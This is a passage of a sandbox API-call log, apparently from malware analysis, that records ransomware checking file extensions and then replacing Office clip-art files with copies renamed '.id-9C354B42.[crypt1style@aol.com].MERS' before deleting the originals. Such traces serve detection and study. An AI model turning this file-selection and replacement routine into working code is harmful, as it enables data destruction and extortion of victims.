(lpString1=".1cd", lpString2=".GIF") returned -1 [0265.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0265.940] lstrlenW (lpString=".jpg") returned 4 [0265.940] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0265.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0265.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0265.940] lstrlenW (lpString=".doc") returned 4 [0265.940] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0265.940] lstrlenW (lpString=".docx") returned 5 [0265.940] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0265.940] lstrlenW (lpString=".pdf") returned 4 [0265.940] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0265.940] lstrlenW (lpString=".xls") returned 4 [0265.940] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0265.940] lstrlenW (lpString=".xlsx") returned 5 [0265.940] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0265.940] lstrlenW (lpString=".ppt") returned 4 [0265.940] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0265.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0265.940] lstrlenW (lpString=".zip") returned 4 [0265.940] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0265.940] lstrlenW (lpString=".rar") returned 4 [0265.940] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0265.940] lstrlenW (lpString=".bz2") returned 4 [0265.940] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0265.940] lstrlenW (lpString=".7z") returned 3 [0265.940] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0265.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0265.940] lstrlenW (lpString=".dbf") returned 4 [0265.940] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0265.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0265.940] lstrlenW (lpString=".1cd") returned 4 [0265.940] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0265.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0265.940] lstrlenW (lpString=".jpg") returned 4 [0265.941] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0265.941] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0265.941] lstrlenW (lpString="AG00142_.GIF") returned 12 [0265.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0265.941] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=15308) returned 1 [0265.941] CloseHandle (hObject=0x3b8) returned 1 [0265.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 0x20 [0265.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0265.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0265.942] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.942] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0265.942] GetLastError () returned 0x0 [0265.942] ReadFile (in: hFile=0x3b8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x3bcc, lpOverlapped=0x0) returned 1 [0266.032] WriteFile (in: hFile=0x388, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x3bd0, lpOverlapped=0x0) returned 1 [0266.033] ReadFile (in: hFile=0x3b8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0266.033] WriteFile (in: hFile=0x388, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.033] SetEndOfFile (hFile=0x388) returned 1 [0266.033] CloseHandle (hObject=0x388) returned 1 [0266.033] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.033] SetEndOfFile (hFile=0x3b8) returned 1 [0266.060] CloseHandle (hObject=0x3b8) returned 1 [0266.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0266.060] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0266.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0266.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0266.060] lstrlenW (lpString=".doc") returned 4 [0266.060] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0266.060] lstrlenW (lpString=".docx") returned 5 [0266.060] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0266.060] lstrlenW (lpString=".pdf") returned 4 [0266.060] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0266.061] lstrlenW (lpString=".xls") returned 4 [0266.061] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0266.061] lstrlenW (lpString=".xlsx") returned 5 [0266.061] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0266.061] lstrlenW (lpString=".ppt") returned 4 [0266.061] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0266.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0266.061] lstrlenW (lpString=".zip") returned 4 [0266.061] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0266.061] lstrlenW (lpString=".rar") returned 4 [0266.061] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0266.061] lstrlenW (lpString=".bz2") returned 4 [0266.061] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0266.061] lstrlenW (lpString=".7z") returned 3 [0266.061] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0266.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0266.061] lstrlenW (lpString=".dbf") returned 4 [0266.061] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0266.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0266.061] lstrlenW (lpString=".1cd") returned 4 [0266.061] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0266.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0266.061] lstrlenW (lpString=".jpg") returned 4 [0266.061] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0266.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0266.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0266.061] lstrlenW (lpString=".doc") returned 4 [0266.061] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0266.061] lstrlenW (lpString=".docx") returned 5 [0266.062] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0266.062] lstrlenW (lpString=".pdf") returned 4 [0266.062] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0266.062] lstrlenW (lpString=".xls") returned 4 [0266.062] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0266.062] lstrlenW (lpString=".xlsx") returned 5 [0266.062] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0266.062] lstrlenW (lpString=".ppt") returned 4 [0266.062] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0266.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0266.062] lstrlenW (lpString=".zip") returned 4 [0266.062] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0266.062] lstrlenW (lpString=".rar") returned 4 [0266.062] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0266.062] lstrlenW (lpString=".bz2") returned 4 [0266.062] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0266.062] lstrlenW (lpString=".7z") returned 3 [0266.062] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0266.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0266.062] lstrlenW (lpString=".dbf") returned 4 [0266.062] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0266.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0266.062] lstrlenW (lpString=".1cd") returned 4 [0266.062] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0266.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0266.062] lstrlenW (lpString=".jpg") returned 4 [0266.062] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0266.062] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0266.062] lstrlenW (lpString="AG00161_.GIF") returned 12 [0266.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0266.063] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=7583) returned 1 [0266.063] CloseHandle (hObject=0x3b8) returned 1 [0266.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 0x20 [0266.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0266.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0266.063] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.063] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0266.063] GetLastError () returned 0x0 [0266.063] ReadFile (in: hFile=0x3b8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x1d9f, lpOverlapped=0x0) returned 1 [0266.104] WriteFile (in: hFile=0x388, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x1da0, lpOverlapped=0x0) returned 1 [0266.104] ReadFile (in: hFile=0x3b8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0266.104] WriteFile (in: hFile=0x388, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.104] SetEndOfFile (hFile=0x388) returned 1 [0266.488] CloseHandle (hObject=0x388) returned 1 [0266.567] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.567] SetEndOfFile (hFile=0x3b8) returned 1 [0266.729] CloseHandle (hObject=0x3b8) returned 1 [0266.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0266.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0266.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0266.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0266.736] lstrlenW (lpString=".doc") returned 4 [0266.736] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0266.736] lstrlenW (lpString=".docx") returned 5 [0266.736] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0266.736] lstrlenW (lpString=".pdf") returned 4 [0266.736] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0266.737] lstrlenW (lpString=".xls") returned 4 [0266.737] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0266.737] lstrlenW (lpString=".xlsx") returned 5 [0266.737] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0266.737] lstrlenW (lpString=".ppt") returned 4 [0266.737] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0266.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0266.737] lstrlenW (lpString=".zip") returned 4 [0266.737] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0266.737] lstrlenW (lpString=".rar") returned 4 [0266.737] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0266.737] lstrlenW (lpString=".bz2") returned 4 [0266.737] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0266.737] lstrlenW (lpString=".7z") returned 3 [0266.737] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0266.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0266.737] lstrlenW (lpString=".dbf") returned 4 [0266.737] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0266.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0266.737] lstrlenW (lpString=".1cd") returned 4 [0266.737] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0266.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0266.737] lstrlenW (lpString=".jpg") returned 4 [0266.737] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0266.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0266.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0266.737] lstrlenW (lpString=".doc") returned 4 [0266.737] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0266.737] lstrlenW (lpString=".docx") returned 5 [0266.737] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0266.737] lstrlenW (lpString=".pdf") returned 4 [0266.738] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0266.738] lstrlenW (lpString=".xls") returned 4 [0266.738] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0266.738] lstrlenW (lpString=".xlsx") returned 5 [0266.738] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0266.738] lstrlenW (lpString=".ppt") returned 4 [0266.738] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0266.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0266.738] lstrlenW (lpString=".zip") returned 4 [0266.738] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0266.738] lstrlenW (lpString=".rar") returned 4 [0266.738] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0266.738] lstrlenW (lpString=".bz2") returned 4 [0266.738] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0266.738] lstrlenW (lpString=".7z") returned 3 [0266.738] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0266.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0266.738] lstrlenW (lpString=".dbf") returned 4 [0266.738] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0266.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0266.738] lstrlenW (lpString=".1cd") returned 4 [0266.738] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0266.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0266.738] lstrlenW (lpString=".jpg") returned 4 [0266.738] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0266.738] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0266.738] lstrlenW (lpString="AG00165_.GIF") returned 12 [0266.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0266.747] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=8582) returned 1 [0266.747] CloseHandle (hObject=0x3b8) returned 1 [0266.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 0x20 [0266.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0266.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0266.751] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.751] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0266.867] GetLastError () returned 0x0 [0266.867] ReadFile (in: hFile=0x384, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x2186, lpOverlapped=0x0) returned 1 [0266.946] WriteFile (in: hFile=0x3ac, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x2190, lpOverlapped=0x0) returned 1 [0266.947] ReadFile (in: hFile=0x384, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0266.947] WriteFile (in: hFile=0x3ac, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.947] SetEndOfFile (hFile=0x3ac) returned 1 [0266.947] CloseHandle (hObject=0x3ac) returned 1 [0266.947] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.947] SetEndOfFile (hFile=0x384) returned 1 [0266.949] CloseHandle (hObject=0x384) returned 1 [0266.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0266.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0266.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0266.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0266.949] lstrlenW (lpString=".doc") returned 4 [0266.949] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0266.949] lstrlenW (lpString=".docx") returned 5 [0266.949] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0266.949] lstrlenW (lpString=".pdf") returned 4 [0266.949] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0266.949] lstrlenW (lpString=".xls") returned 4 [0266.949] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0266.949] lstrlenW (lpString=".xlsx") returned 5 [0266.950] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0266.950] lstrlenW (lpString=".ppt") returned 4 [0266.950] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0266.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0266.950] lstrlenW (lpString=".zip") returned 4 [0266.950] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0266.950] lstrlenW (lpString=".rar") returned 4 [0266.950] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0266.950] lstrlenW (lpString=".bz2") returned 4 [0266.950] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0266.950] lstrlenW (lpString=".7z") returned 3 [0266.950] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0266.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0266.950] lstrlenW (lpString=".dbf") returned 4 [0266.950] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0266.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0266.950] lstrlenW (lpString=".1cd") returned 4 [0266.950] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0266.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0266.950] lstrlenW (lpString=".jpg") returned 4 [0266.950] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0266.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0266.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0266.950] lstrlenW (lpString=".doc") returned 4 [0266.950] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0266.950] lstrlenW (lpString=".docx") returned 5 [0266.950] lstrcmpiW (lpString1=".docx", 